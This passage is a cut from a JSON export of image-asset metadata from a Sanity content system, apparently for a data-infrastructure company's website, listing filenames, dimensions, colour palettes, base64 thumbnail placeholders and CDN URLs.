title":"#fff"}}},"mimeType":"image/png","originalFilename":"Integrate.png","path":"images/sczeoy4w/production/f6e2f91ec622301501cea8b1058f5b019ab11f54-2430x816.png","sha1hash":"f6e2f91ec622301501cea8b1058f5b019ab11f54","size":236645,"uploadId":"DCPyancTSYpmWidkM4v8oxSsukY718XJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/f6e2f91ec622301501cea8b1058f5b019ab11f54-2430x816.png"} {"_createdAt":"2022-11-23T14:47:55Z","_id":"image-f73d92b84c30a757f67b21573447e81a918efea4-1567x844-jpg","_rev":"RAyRTsSFAoDoj6NvfldK96","_type":"sanity.imageAsset","_updatedAt":"2022-11-23T14:48:54Z","altText":null,"assetId":"f73d92b84c30a757f67b21573447e81a918efea4","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MAD9P701wIt,;25+~WoHD*KOn5%LI[$yr]","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAYHBf/EACIQAAIBBAIBBQAAAAAAAAAAAAECAwAEBREhMRIGBxUmcf/EABYBAQEBAAAAAAAAAAAAAAAAAAMEBf/EACARAAICAQMFAAAAAAAAAAAAAAECAANRBAUREiIxgfD/2gAMAwEAAhEDEQA/AJguVsQkamxXajTHjmtOPGfJxQTx2JW1PLCLXkR1ulafpOuqqft+PradjfkDo0VlgQqMniKlZfqOBzFfK+nsdb3CLHLcaZAxCpsA80VRMbFG9nGXUMeRs/tFTsGBPcfvU2tPttVtSuT5GJ//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#303246","foreground":"#fff","population":0.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a2920","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b9b9b8","foreground":"#000","population":9.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9b9b8","foreground":"#000","population":9.49,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f03850","foreground":"#fff","population":1.6,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#807e7d","foreground":"#fff","population":6.68,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f29116","foreground":"#000","population":3.13,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"Kafka_Ecosystem_announcement_blog.jpg","path":"images/sczeoy4w/production/f73d92b84c30a757f67b21573447e81a918efea4-1567x844.jpg","sha1hash":"f73d92b84c30a757f67b21573447e81a918efea4","size":401800,"title":"Explore the Apache Kafka ecosystem [astronaut bouncing an earth in their hand]","uploadId":"X15U04OlkiA8HztdfLh2BdkVbBl1cCVo","url":"https://cdn.sanity.io/images/sczeoy4w/production/f73d92b84c30a757f67b21573447e81a918efea4-1567x844.jpg"} {"_createdAt":"2024-02-27T13:01:27Z","_id":"image-f7512205bd6fbdce15cd7542c74a7364223ed956-1920x1037-jpg","_rev":"w5AXxS2dRCMjAjCd4XQFi8","_type":"sanity.imageAsset","_updatedAt":"2024-02-27T13:01:27Z","assetId":"f7512205bd6fbdce15cd7542c74a7364223ed956","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDFY7J%zP9XT}t?F?HKh%2=|$TN29uf--U","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUBAwQG/8QAIxAAAgICAgEEAwAAAAAAAAAAAQIDBAAFERIhEyJBUQYUMf/EABYBAQEBAAAAAAAAAAAAAAAAAAMCBP/EABsRAQACAwEBAAAAAAAAAAAAAAEAAhESIQSx/9oADAMBAAIRAxEAPwBTvrmusyUX180tiSnGqJD0A8g/J+sT7rbbHYyNR2FJK8xb1FIbnx9ZRWrxQVdyYl6lIwVPJ8ZNSzNJ+LwWZH7z/sdPUYAnrx/MnQ2jVslUHjNa1XZEFaaVFVQrBhz7vnDOm0nvoqzAEkknxhmdaD0+Rzz5MjP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#405231","foreground":"#fff","population":0.44,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#681a23","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c7a9a2","foreground":"#000","population":5.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7a9a2","foreground":"#000","population":5.84,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5b0a5","foreground":"#000","population":1.16,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#897b78","foreground":"#fff","population":5.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d17045","foreground":"#fff","population":1.15,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-team-crabweek-2023.jpg","path":"images/sczeoy4w/production/f7512205bd6fbdce15cd7542c74a7364223ed956-1920x1037.jpg","sha1hash":"f7512205bd6fbdce15cd7542c74a7364223ed956","size":1131888,"uploadId":"GAMbgXMLgWWSBEXjS0WriD3PGIGTJIRq","url":"https://cdn.sanity.io/images/sczeoy4w/production/f7512205bd6fbdce15cd7542c74a7364223ed956-1920x1037.jpg"} {"_createdAt":"2024-06-11T20:17:24Z","_id":"image-f7caced08c497dd361e2046c53fb3d5a52305665-4032x3024-jpg","_rev":"G1uOn2gY1MTsEiAaTWPIEi","_type":"sanity.imageAsset","_updatedAt":"2024-06-11T20:17:24Z","assetId":"f7caced08c497dd361e2046c53fb3d5a52305665","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VIHxKE_1IVtRo|~p%LtQs:Vss:-US3%Loy%0?HkCR+tR","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3333333333333333,"height":3024,"width":4032},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAPABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAABQYA/8QAIxAAAQMDBAIDAAAAAAAAAAAAAQIDBAAFIQYREhNRYRUiMf/EABYBAQEBAAAAAAAAAAAAAAAAAAQCA//EABoRAQADAQEBAAAAAAAAAAAAAAEAAhExIUH/2gAMAwEAAhEDEQA/AKVWpLveo7bDDS4xO/MqHEEHxRE9Xcwm23iahxsH7svHBPo+alLlqhaZc6d3OBuK8lsJTjFLaqYRLjJuTR4qKA4Ttk4oJ48i7CZr2Eu6ftJecLcVhSCrBC61TvyclACURmeO2Dv++61XlmZrQ+T/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#634930","foreground":"#fff","population":2.64,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#593528","foreground":"#fff","population":2.88,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c1bba7","foreground":"#000","population":4.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1bba7","foreground":"#000","population":4.47,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dbb396","foreground":"#000","population":2.96,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a37762","foreground":"#fff","population":3.76,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3f77a9","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"IMG_8838.jpeg","path":"images/sczeoy4w/production/f7caced08c497dd361e2046c53fb3d5a52305665-4032x3024.jpg","sha1hash":"f7caced08c497dd361e2046c53fb3d5a52305665","size":1155287,"uploadId":"5Wy0mWIvrfSHNjPZ2wd3WO5WozVDEIJG","url":"https://cdn.sanity.io/images/sczeoy4w/production/f7caced08c497dd361e2046c53fb3d5a52305665-4032x3024.jpg"} {"_createdAt":"2023-09-21T08:44:52Z","_id":"image-f7d62ddab91bc9a0d6ea92dbd9769e91cc3eaf48-1200x628-jpg","_rev":"kaQ4ZWos4gq6sBfd7tEGGH","_type":"sanity.imageAsset","_updatedAt":"2023-09-21T08:44:52Z","assetId":"f7d62ddab91bc9a0d6ea92dbd9769e91cc3eaf48","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M56[FN^;I9MxRP?d%MR%M|Rk00My-:s=W9","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAIDBAUH/8QAIhAAAQMDAwUAAAAAAAAAAAAAAQACAwQFMhESFBMhMUFC/8QAFgEBAQEAAAAAAAAAAAAAAAAABAIG/8QAGhEBAAEFAAAAAAAAAAAAAAAAAAECAxJBYf/aAAwDAQACEQMRAD8A4/b57RxI2TsAl26EhvtJWR29sZ4lQS4fJHlZAJ6EaeLNamzGxKlgBhy7FCifkUJWXEP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#373766","foreground":"#fff","population":0.42,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":11.34,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":11.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4d8e8","foreground":"#000","population":5.77,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7d83c3","foreground":"#fff","population":0.21,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a7094","foreground":"#fff","population":1.57,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2786","foreground":"#fff","population":8.68,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"postgresql-for -go-app_meta-preview.jpg","path":"images/sczeoy4w/production/f7d62ddab91bc9a0d6ea92dbd9769e91cc3eaf48-1200x628.jpg","sha1hash":"f7d62ddab91bc9a0d6ea92dbd9769e91cc3eaf48","size":56590,"uploadId":"swMheMAeeAtXx5dRf5HkFa8ZJ2YLkC1M","url":"https://cdn.sanity.io/images/sczeoy4w/production/f7d62ddab91bc9a0d6ea92dbd9769e91cc3eaf48-1200x628.jpg"} {"_createdAt":"2022-06-30T19:58:14Z","_id":"image-f805553dd9dbe22969179f73ba409c559c5027b9-944x326-png","_rev":"sI1gFaRN7B5HWmjllAAZLN","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:05:51Z","assetId":"f805553dd9dbe22969179f73ba409c559c5027b9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D0OzSs000000000000t74n%M","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.895705521472393,"height":326,"width":944},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABa0lEQVQokT2Ot8pCURCE79MJFkYwgaCNb+AVQ6Fg4yuIndgZuCr4GCKimBCzmBPm5vvZA/7FcHbOzM6sVigUyOVyZLNZ8vk8pVKJer1OrVajUqlgGAbVapVyuUyxWFSzQHzCDcNQXkGj0UDz+/1YLBZMJhNmsxmn00kwGCQQCOByuXC73Xi9XhwOBzabDY/Ho7jdbsdqtSrd5/MhOaFQCC2RSBAOhxV0XScSiZBKpUin08TjccWj0SixWEzNApkF4td1Xc3JZJJMJoPWbDZptVoMBgNGoxG9Xk+9s9mM8XhMt9ul3+8zmUzUf6fTYTgcMp1O1dtut9WO6LKjLRYL1us11+uV+/3O6XTidrvx/X55PB4cDgculwufz0fpwsX749vtluPxyOv14v1+o0nTfD7/X9zv95zPZ57PpwqWBdEkXII2m80/F/9qtVIeCZc/bblcqgt/l0mbGH+BUiCamIXvdrt/LgW/wl/gH5Pmv1ucQPfLAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4c4","foreground":"#000","population":1.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4c4","foreground":"#000","population":1.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.41,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"f805553dd9dbe22969179f73ba409c559c5027b9-944x326.png","path":"images/sczeoy4w/production/f805553dd9dbe22969179f73ba409c559c5027b9-944x326.png","sha1hash":"f805553dd9dbe22969179f73ba409c559c5027b9","size":43272,"uploadId":"hPCQdpejtFuuN1b4R1TdFgnarFdNmjN2","url":"https://cdn.sanity.io/images/sczeoy4w/production/f805553dd9dbe22969179f73ba409c559c5027b9-944x326.png"} {"_createdAt":"2022-06-30T19:59:31Z","_id":"image-f80b717ee326fd432d9719bd944c45cd74ddebb1-1600x471-png","_rev":"QRl2cGoCgj0FlAhkRrhy3i","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:54Z","assetId":"f80b717ee326fd432d9719bd944c45cd74ddebb1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DMS_@}-KQ7rYuj:jV=i^jZXn","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.397027600849257,"height":471,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAABcRAAAXEQHKJvM/AAABdklEQVQYlR3Lz2tSAQDA8fcPRHQqFiUIXSJbIs4fkPVwaz6MiRN/4F65RLDGEkcIQQ77oa1V1NS5cA7MpXQau8S2q5CHig7tEAVBh51qKg2dA/P5jQWf60cgcZTUAHOn/1ORPMWsmrvniRq4YcRpQhIR7YjOvtulTPp6vsmuHOkGZvrSdeFwpi+QM5LVkx0ireOZnscW7omETbj12C1YbX2buxub2S+8bC8vt/NvDuZyivumwBMV+csU7axcYWWUwgjZi6R0xAYJncM7iMPMiFUZ87VfZHc/f9z9/q25/bVTWe9N3BbI6FibYushGwk277OZ4G2QpIbpEwRV+M/i0iNdUsa9rVfF3z9+/qrXmzs7nfWNnhwRyItsPeJ9iVqJ2iq117yL81RL5BihAa6dwaPlqlkZd7aeZxofPjW3v+xVq52lYs9zS2BeTUGiLB+qyJT95Id5cJLoEcLHCajxaXAYFIfUnr7TWFhsZjJ/4on9YPSvTf4H9ZLdwr8WtP8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#974501","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#833c01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":8.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e1d9c9","foreground":"#000","population":1.72,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7ca4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9a5458","foreground":"#fff","population":0.43,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":8.29,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"f80b717ee326fd432d9719bd944c45cd74ddebb1-1600x471.png","path":"images/sczeoy4w/production/f80b717ee326fd432d9719bd944c45cd74ddebb1-1600x471.png","sha1hash":"f80b717ee326fd432d9719bd944c45cd74ddebb1","size":127264,"uploadId":"dZZrao2fZpG5phUlPqD7bMR1aAfuVT2a","url":"https://cdn.sanity.io/images/sczeoy4w/production/f80b717ee326fd432d9719bd944c45cd74ddebb1-1600x471.png"} {"_createdAt":"2022-06-30T11:56:59Z","_id":"image-f819b2f5d5ab6fa32bc42bba07f34f7da070ac15-1500x625-png","_rev":"CK1sLU2mnwa3vmbYWEb2Z6","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:15Z","assetId":"f819b2f5d5ab6fa32bc42bba07f34f7da070ac15","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M04B::t7j[t7ofxujuf7j[j[xuayafayj[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4,"height":625,"width":1500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAYElEQVQYlaWQ0QrAIAhF+xb1Xu3/f3DL1cMWi9HgIAb3KFbcK1nhMcOojPHkDUOoeSEDCDN/BY2WQZpZDd7ky1TlCmNmvI/Tnr/kpTkQefT4tvm/PIGSZ2yYFOnyDueHHSpYRNJfafg2AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4144","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3e4346","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#615f61","foreground":"#fff","population":0.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#474d51","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b8bdc0","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#615f61","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#778187","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"f819b2f5d5ab6fa32bc42bba07f34f7da070ac15-1500x625.png","path":"images/sczeoy4w/production/f819b2f5d5ab6fa32bc42bba07f34f7da070ac15-1500x625.png","sha1hash":"f819b2f5d5ab6fa32bc42bba07f34f7da070ac15","size":36626,"uploadId":"7sDGdlwkpdMkLQbEyZAFF4aagUaWrbbF","url":"https://cdn.sanity.io/images/sczeoy4w/production/f819b2f5d5ab6fa32bc42bba07f34f7da070ac15-1500x625.png"} {"_createdAt":"2022-06-17T08:37:21Z","_id":"image-f82947c7c52d76aed2fc87d52894380c21709dbf-800x1000-png","_rev":"qkpX9b3U0TpOGFQp8gRgC8","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:24Z","assetId":"f82947c7c52d76aed2fc87d52894380c21709dbf","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"dRM77R.T00m+M@#jM~OZ00RUyEROn3NaNfj^F#Nf-Uxp","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8,"height":1000,"width":800},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAZCAYAAAAxFw7TAAAACXBIWXMAAAsTAAALEwEAmpwYAAAGJElEQVQ4jW2Se1BU9x3Fv4hxDCgP0yRmmjpNnMw06UyrpWmbjCl5CYmZmigY0KaSyZg0YzIjToQFdnlF7CgwRmM0UWNHpcGORnYXrKKCINYRxMEQ7i4QFyMPYUFZHgv7uvee09ndapM0v5lz5/7uH597vt9zhBcSxdZQJLaGYmGLCAdE5B8U2IzivrRO2FkYAbvxPtqNv4Dd9AA7iyNozxd2Fgg6i+T/DpuekdN1VVJXf1RkC2X5Ccq+cy45d75aAl2lAlvug1QMb0AxlNGWk0K7KYYdm4RKlrDrwx8BXkgU2UGRSkpj3cHIA7W26PKTrugTTa2RtBsehGJYCyW7nkpWHxTDXtryHqerRdiSIvxRhxcSw2MKZbBxXfTZMxWP7j3V+ait9cgjsOWspZJdRyXLDSVLo5J9nrbcZHaVzGTXZqG9QEj+EPic7KpqluB3f9PSOV312b+80HB46fXLn2ycbs+v1zuy3OjYhJCUrKu05aSxq2Q2v94gtOWFgN+DghT98mphowgvJc3yNL+5aLQlq2DkSkmLq710ymvbCnSVgJ1FgN10hXbjSio5s9DxgfD67rvAu1DacgTfbBX/6FWhYpgPxfC2bi/6t/+bPZ7p3hr4hs5DH2kgnad0DFW3caRuLb3O+BCkdr3w5pBw0i3o+VaYvk6CKQqvlUfAljMfnYUZ6PmkjkMn3JxQoPtGoKtTgDoNBiaAwNgwNc8/CaSSfIBQI5j+vnBgULipSPhOlggPidBujIHdtAo9u05j5JwbXiegqyAZVPAA4XedpAtALYE1DATm8Ynfh8aF0imsqxXRK0SgGO6nY8dGDtd20zsIQAdA/PdxR9+9T8IfsGJg8GVWHo8KAYMrePcDEfYnCXt3R6m3W1/3TDov+3wBPWgnbCrk6ntO78rjHaHS9Rk+O7yI8tAMBPPI2CBC+oOWZ09M62lKn9bW7NDQNw74NB0BVYWqqtR1HUFpmkZVVUP+4fHqaOtQuH3fX/HH1DhGPix8M1PuRB4z7dXXN3X6HOWNHlZeU/HtuAdDQ0Mc6O+n0+nk7Vu3MOx0YqB/AM7hYbhdLmqt7ePcsmsPnl/9GF9ODQUTAqpkDDS8f23Y33PI7mVlnwrH2DRu3LgBpUOh3W6nw+Fgj8OBTrsd3d3dGL55k+rFVj/zSq1ITHsSC1eE9hgCenXeS2KNR8VXvR4dfV5gOqBhyu3G6OhoUBwfG+P4+DjHXC6MjY/DM+qiXtug8j3TKSxJfRqFByRU7SBQA2aQfBqkWSe9CO89/PjfuZt0KBTnCHmg0su09cf41MrFodUteS4IRLhH4HwAmwB0g9SDvftOT0K38D8I+HzAxWYiq3iESau3YUnqgqA7/jZZRNUpLXoomEhqgcX0uXfTNzVELVxs/FBeD/h1O1H2UQCpGRfx7IpVfGltFJ9IFj7zmoi8Ajl0xinvmjmjv294TqDncrLmaD6mD9jG4BokpicIj5uYHCMHbhBN9UTZVhV//oudS5eb+MKKR5j5twj8TITJq0VM1ZRcszbDaNGi8q3anIvHzQ/frtqe7qnZeUw/s/86G49M8txRlTUHNe7b5kfO+onAG2nt3ldXbvEvS/kVl6ffExr3hWXStadCJNcCyapiZK5Zn2uqZmzRlxNxJ3fvX9BX+k6Sb0uKQdu86rCWn3ZW3/haA9968YS2JvHg7bdeN7bmlD179KOmmHXHQlWRI+VX5StTgUieBZJdhcgcC+earIjNq2asoZqxez6/9JMr+Rt+3puZ8rvB9159aSLj+SR9VcIf8HZCQu/WjKeOV1gSNlumHsqs4awS85RsPzUq6WaK5FnDwFwL5hqtjDVa9Ng8ixZrOMm4zEbOzT7N2A+t/nkf14xF/z3ACO6/7x7Xxy8uaNlX9GTFF/WLyo7f/GmJxT274CzDPQwCDeY7QMQarYzLtSDOZFbjC6s8sUazGmeoZpzhX5yd1EThCpFA6eI5wzuWLWzba/i1+fDRhTu/7In+06Xw6GK0QnLMmJlnQYypGnFGK+LzLIg3WjHPZEWc0aLHmyzavEJLIOrTI46IZW0Uf3lCBLc9dq+//Df339r5Snzr58UzuUaExSL/AQbFNQAR0LaDAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#334a64","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c0d0a","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fad371","foreground":"#000","population":4.63,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#939dbc","foreground":"#000","population":0.51,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fad371","foreground":"#000","population":4.63,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e7298","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0ac0f7","foreground":"#fff","population":0.25,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"talonone-image-composition.png","path":"images/sczeoy4w/production/f82947c7c52d76aed2fc87d52894380c21709dbf-800x1000.png","sha1hash":"f82947c7c52d76aed2fc87d52894380c21709dbf","size":24105,"uploadId":"4yvjud5g4MfKomcKXCH0MM5PehM29zlM","url":"https://cdn.sanity.io/images/sczeoy4w/production/f82947c7c52d76aed2fc87d52894380c21709dbf-800x1000.png"} {"_createdAt":"2022-06-30T11:56:59Z","_id":"image-f86b6f14a65a424800556fc2ceba6d6d29f540f9-640x367-png","_rev":"6BJll63fjycTvao7AuoE5D","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T00:55:09Z","assetId":"f86b6f14a65a424800556fc2ceba6d6d29f540f9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M3PQNo00000000%#aw?]%0%f00giw|_3%L","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7438692098092643,"height":367,"width":640},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB7UlEQVQokV2Ry2oUQRSG+yHMwpUuRFy40IVIVKIQVLIIQhYBBTdufIZBjQSGGAPB3Oh2mMTgkKRHhaDiG4gwynQkN8Ew7pJRp7ur6lSdus1KzrQh4uGnoIr6zv+fquBOpT4ard2ar92vrb/8+PVD88enb/vtDgeQQoAAAJBSodbaGvOfgpH52vDM8o3p6r0Xr181NpPWwd5+xkAphVLSSkKCzWFZa51z3vtgaHrp+lT16kR0txK/a26305yDRK17sJRSAYAQlIA2SmGv0V94cGrx2mT1Ujm6HcXvk51cgNYakUgKLYDlLMsY40LAEVyYBwNPl65MLl4sV0aj+ttklyntvDfWEkymIHImGJeHWFHGGIL7J6r9T6oXypWRMF5PdjnqbrfrvUetKaiUCNKgpkEtuTnnjmY+Px6dGw/Pji0Mz628+bKVCaC21iJiMSm9NJ0U9713jtSr4Mzj6PRYeOrhws3Z1Xpjs91JGeeEKKWERKnQGG2s6QH/2vpuNzj56PkJUjQ4F681tg46KWec0mo0iI4cCxsqay0qqYQwUnprg+MPokIDM/Hq5+3fjBffClqBopcvfApPrTWkKdv7LlotK0TQVwr7SuGxUnj5WbzS2MmEdNYZZ7mWOVAE2xu3IDWi/PUzT5psY8Ok6R9JRStdQOjv9gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#645c64","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#137993","foreground":"#fff","population":1.52,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#137993","foreground":"#fff","population":1.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#91c5cf","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0e2e7","foreground":"#000","population":0.06,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6599a8","foreground":"#fff","population":0.87,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f05859","foreground":"#ff